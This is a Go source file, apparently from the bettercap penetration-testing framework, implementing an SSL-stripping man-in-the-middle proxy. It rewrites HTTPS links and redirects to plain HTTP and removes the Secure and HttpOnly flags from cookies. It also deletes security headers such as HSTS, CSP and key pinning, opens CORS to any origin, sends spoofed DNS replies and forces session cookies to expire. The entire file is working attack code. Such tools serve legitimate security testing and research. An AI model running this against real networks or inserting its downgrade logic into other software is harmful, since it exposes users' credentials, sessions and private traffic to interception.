| 1 | package http_proxy |
| 2 | |
| 3 | import ( |
| 4 | "io/ioutil" |
| 5 | "net/http" |
| 6 | "net/url" |
| 7 | "regexp" |
| 8 | "strconv" |
| 9 | "strings" |
| 10 | |
| 11 | "github.com/bettercap/bettercap/log" |
| 12 | "github.com/bettercap/bettercap/modules/dns_spoof" |
| 13 | "github.com/bettercap/bettercap/network" |
| 14 | "github.com/bettercap/bettercap/session" |
| 15 | |
| 16 | "github.com/elazarl/goproxy" |
| 17 | "github.com/google/gopacket" |
| 18 | "github.com/google/gopacket/layers" |
| 19 | "github.com/google/gopacket/pcap" |
| 20 | |
| 21 | "github.com/evilsocket/islazy/tui" |
| 22 | |
| 23 | "golang.org/x/net/idna" |
| 24 | ) |
| 25 | |
| 26 | var ( |
| 27 | httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`) |
| 28 | domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`) |
| 29 | flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`) |
| 30 | ) |
| 31 | |
| 32 | type SSLStripper struct { |
| 33 | enabled bool |
| 34 | session *session.Session |
| 35 | cookies *CookieTracker |
| 36 | hosts *HostTracker |
| 37 | handle *pcap.Handle |
| 38 | pktSourceChan chan gopacket.Packet |
| 39 | } |
| 40 | |
| 41 | func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper { |
| 42 | strip := &SSLStripper{ |
| 43 | enabled: false, |
| 44 | cookies: NewCookieTracker(), |
| 45 | hosts: NewHostTracker(), |
| 46 | session: s, |
| 47 | handle: nil, |
| 48 | } |
| 49 | strip.Enable(enabled) |
| 50 | return strip |
| 51 | } |
| 52 | |
| 53 | func (s *SSLStripper) Enabled() bool { |
| 54 | return s.enabled |
| 55 | } |
| 56 | |
| 57 | func (s *SSLStripper) onPacket(pkt gopacket.Packet) { |
| 58 | typeEth := pkt.Layer(layers.LayerTypeEthernet) |
| 59 | typeUDP := pkt.Layer(layers.LayerTypeUDP) |
| 60 | if typeEth == nil || typeUDP == nil { |
| 61 | return |
| 62 | } |
| 63 | |
| 64 | eth := typeEth.(*layers.Ethernet) |
| 65 | dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) |
| 66 | if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { |
| 67 | udp := typeUDP.(*layers.UDP) |
| 68 | for _, q := range dns.Questions { |
| 69 | domain := string(q.Name) |
| 70 | original := s.hosts.Unstrip(domain) |
| 71 | if original != nil && original.Address != nil { |
| 72 | redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) |
| 73 | if redir != "" && who != "" { |
| 74 | log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who)) |
| 75 | } |
| 76 | } |
| 77 | } |
| 78 | } |
| 79 | } |
| 80 | |
| 81 | func (s *SSLStripper) Enable(enabled bool) { |
| 82 | s.enabled = enabled |
| 83 | |
| 84 | if enabled && s.handle == nil { |
| 85 | var err error |
| 86 | |
| 87 | if s.handle, err = network.Capture(s.session.Interface.Name()); err != nil { |
| 88 | panic(err) |
| 89 | } |
| 90 | |
| 91 | if err = s.handle.SetBPFFilter("udp"); err != nil { |
| 92 | panic(err) |
| 93 | } |
| 94 | |
| 95 | go func() { |
| 96 | defer func() { |
| 97 | s.handle.Close() |
| 98 | s.handle = nil |
| 99 | }() |
| 100 | |
| 101 | for s.enabled { |
| 102 | src := gopacket.NewPacketSource(s.handle, s.handle.LinkType()) |
| 103 | s.pktSourceChan = src.Packets() |
| 104 | for packet := range s.pktSourceChan { |
| 105 | if !s.enabled { |
| 106 | break |
| 107 | } |
| 108 | |
| 109 | s.onPacket(packet) |
| 110 | } |
| 111 | } |
| 112 | }() |
| 113 | } |
| 114 | } |
| 115 | |
| 116 | func (s *SSLStripper) isContentStrippable(res *http.Response) bool { |
| 117 | for name, values := range res.Header { |
| 118 | for _, value := range values { |
| 119 | if name == "Content-Type" { |
| 120 | return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript") |
| 121 | } |
| 122 | } |
| 123 | } |
| 124 | |
| 125 | return false |
| 126 | } |
| 127 | |
| 128 | func (s *SSLStripper) stripURL(url string) string { |
| 129 | return strings.Replace(url, "https://", "http://", 1) |
| 130 | } |
| 131 | |
| 132 | // sslstrip preprocessing, takes care of: |
| 133 | // |
| 134 | // - handling stripped domains |
| 135 | // - making unknown session cookies expire |
| 136 | func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) { |
| 137 | if !s.enabled { |
| 138 | return |
| 139 | } |
| 140 | |
| 141 | // handle stripped domains |
| 142 | original := s.hosts.Unstrip(req.Host) |
| 143 | if original != nil { |
| 144 | log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) |
| 145 | req.Host = original.Hostname |
| 146 | req.URL.Host = original.Hostname |
| 147 | req.Header.Set("Host", original.Hostname) |
| 148 | req.URL.Scheme = "https" |
| 149 | } |
| 150 | |
| 151 | if !s.cookies.IsClean(req) { |
| 152 | // check if we need to redirect the user in order |
| 153 | // to make unknown session cookies expire |
| 154 | log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr) |
| 155 | s.cookies.Track(req) |
| 156 | redir = s.cookies.Expire(req) |
| 157 | } |
| 158 | |
| 159 | return |
| 160 | } |
| 161 | |
| 162 | func (s *SSLStripper) fixCookiesInHeader(res *http.Response) { |
| 163 | origHost := res.Request.URL.Hostname() |
| 164 | strippedHost := s.hosts.Strip(origHost /* unstripped */) |
| 165 | |
| 166 | if strippedHost != nil && /*strippedHost.Hostname != origHost && */res.Header["Set-Cookie"] != nil { |
| 167 | // origHost is being tracked. |
| 168 | // get domains from hostnames |
| 169 | if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 { |
| 170 | origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1] |
| 171 | strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1] |
| 172 | |
| 173 | log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"), tui.Bold(strippedHost.Hostname)) |
| 174 | cookies := make([]string, len(res.Header["Set-Cookie"])) |
| 175 | // replace domain= and strip "secure" flag for each cookie |
| 176 | for i, cookie := range res.Header["Set-Cookie"] { |
| 177 | domainIndex := domainCookieParser.FindStringIndex(cookie) |
| 178 | if domainIndex != nil { |
| 179 | cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:] |
| 180 | } |
| 181 | cookie = strings.Replace(cookie, "https://", "http://", -1) |
| 182 | cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "") |
| 183 | } |
| 184 | res.Header["Set-Cookie"] = cookies |
| 185 | s.cookies.Track(res.Request) |
| 186 | } |
| 187 | } |
| 188 | } |
| 189 | |
| 190 | func (s *SSLStripper) fixResponseHeaders(res *http.Response) { |
| 191 | res.Header.Del("Content-Security-Policy-Report-Only") |
| 192 | res.Header.Del("Content-Security-Policy") |
| 193 | res.Header.Del("Strict-Transport-Security") |
| 194 | res.Header.Del("Public-Key-Pins") |
| 195 | res.Header.Del("Public-Key-Pins-Report-Only") |
| 196 | res.Header.Del("X-Frame-Options") |
| 197 | res.Header.Del("X-Content-Type-Options") |
| 198 | res.Header.Del("X-WebKit-CSP") |
| 199 | res.Header.Del("X-Content-Security-Policy") |
| 200 | res.Header.Del("X-Download-Options") |
| 201 | res.Header.Del("X-Permitted-Cross-Domain-Policies") |
| 202 | res.Header.Del("X-Xss-Protection") |
| 203 | res.Header.Set("Allow-Access-From-Same-Origin", "*") |
| 204 | res.Header.Set("Access-Control-Allow-Origin", "*") |
| 205 | res.Header.Set("Access-Control-Allow-Methods", "*") |
| 206 | res.Header.Set("Access-Control-Allow-Headers", "*") |
| 207 | } |
| 208 | |
| 209 | func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { |
| 210 | if !s.enabled { |
| 211 | return |
| 212 | } |
| 213 | |
| 214 | s.fixResponseHeaders(res) |
| 215 | |
| 216 | orig := res.Request.URL |
| 217 | origHost := orig.Hostname() |
| 218 | |
| 219 | // is the server redirecting us? |
| 220 | if res.StatusCode != 200 { |
| 221 | // extract Location header |
| 222 | if location, err := res.Location(); location != nil && err == nil { |
| 223 | newHost := location.Host |
| 224 | newURL := location.String() |
| 225 | |
| 226 | // are we getting redirected from http to https? |
| 227 | // orig.Scheme is set to "https" during Process->REQUEST above. Can not check it. |
| 228 | // if orig.Scheme == "http" && location.Scheme == "https" { |
| 229 | if location.Scheme == "https" { |
| 230 | |
| 231 | log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) |
| 232 | |
| 233 | // strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name |
| 234 | strippedURL := s.stripURL(newURL) |
| 235 | parsed, _ := url.Parse(strippedURL) |
| 236 | if parsed.Port() == "443" || parsed.Port() == "" { |
| 237 | if parsed.Port() == "443" { |
| 238 | // Check for badly formatted "Location: https://domain.com:443/" |
| 239 | // Prevent stripping to "Location: http://domain.com:443/" |
| 240 | // and instead strip to "Location: http://domain.com/" |
| 241 | strippedURL = strings.Replace(strippedURL, ":443", "", 1) |
| 242 | } |
| 243 | hostStripped := parsed.Hostname() |
| 244 | hostStripped, _ = idna.ToASCII(hostStripped) |
| 245 | s.hosts.Track(newHost, hostStripped) |
| 246 | |
| 247 | res.Header.Set("Location", strippedURL) |
| 248 | } |
| 249 | } |
| 250 | } |
| 251 | } |
| 252 | |
| 253 | // if we have a text or html content type, fetch the body |
| 254 | // and perform sslstripping |
| 255 | if s.isContentStrippable(res) { |
| 256 | raw, err := ioutil.ReadAll(res.Body) |
| 257 | if err != nil { |
| 258 | log.Error("Could not read response body: %s", err) |
| 259 | return |
| 260 | } |
| 261 | |
| 262 | body := string(raw) |
| 263 | urls := make(map[string]string) |
| 264 | matches := httpsLinksParser.FindAllString(body, -1) |
| 265 | for _, u := range matches { |
| 266 | // make sure we only strip valid URLs |
| 267 | if parsed, _ := url.Parse(u); parsed != nil { |
| 268 | // strip the URL down to an alternative HTTP version |
| 269 | urls[u] = s.stripURL(u) |
| 270 | } |
| 271 | } |
| 272 | |
| 273 | nurls := len(urls) |
| 274 | if nurls > 0 { |
| 275 | plural := "s" |
| 276 | if nurls == 1 { |
| 277 | plural = "" |
| 278 | } |
| 279 | log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host)) |
| 280 | } |
| 281 | |
| 282 | for u, stripped := range urls { |
| 283 | log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped)) |
| 284 | |
| 285 | body = strings.Replace(body, u, stripped, -1) |
| 286 | |
| 287 | // save stripped host to an ASCII Internationalized Domain Name |
| 288 | parsed, _ := url.Parse(u) |
| 289 | hostOriginal := parsed.Hostname() |
| 290 | parsed, _ = url.Parse(stripped) |
| 291 | hostStripped := parsed.Hostname() |
| 292 | hostStripped, _ = idna.ToASCII(hostStripped) |
| 293 | s.hosts.Track(hostOriginal, hostStripped) |
| 294 | } |
| 295 | |
| 296 | res.Header.Set("Content-Length", strconv.Itoa(len(body))) |
| 297 | |
| 298 | // reset the response body to the original unread state |
| 299 | // but with just a string reader, this way further calls |
| 300 | // to ioutil.ReadAll(res.Body) will just return the content |
| 301 | // we stripped without downloading anything again. |
| 302 | res.Body = ioutil.NopCloser(strings.NewReader(body)) |
| 303 | } |
| 304 | |
| 305 | // fix cookies domain + strip "secure" + "httponly" flags |
| 306 | // 302/Location redirect might set cookies as well. Always try to fix Cookies |
| 307 | s.fixCookiesInHeader(res) |
| 308 | } |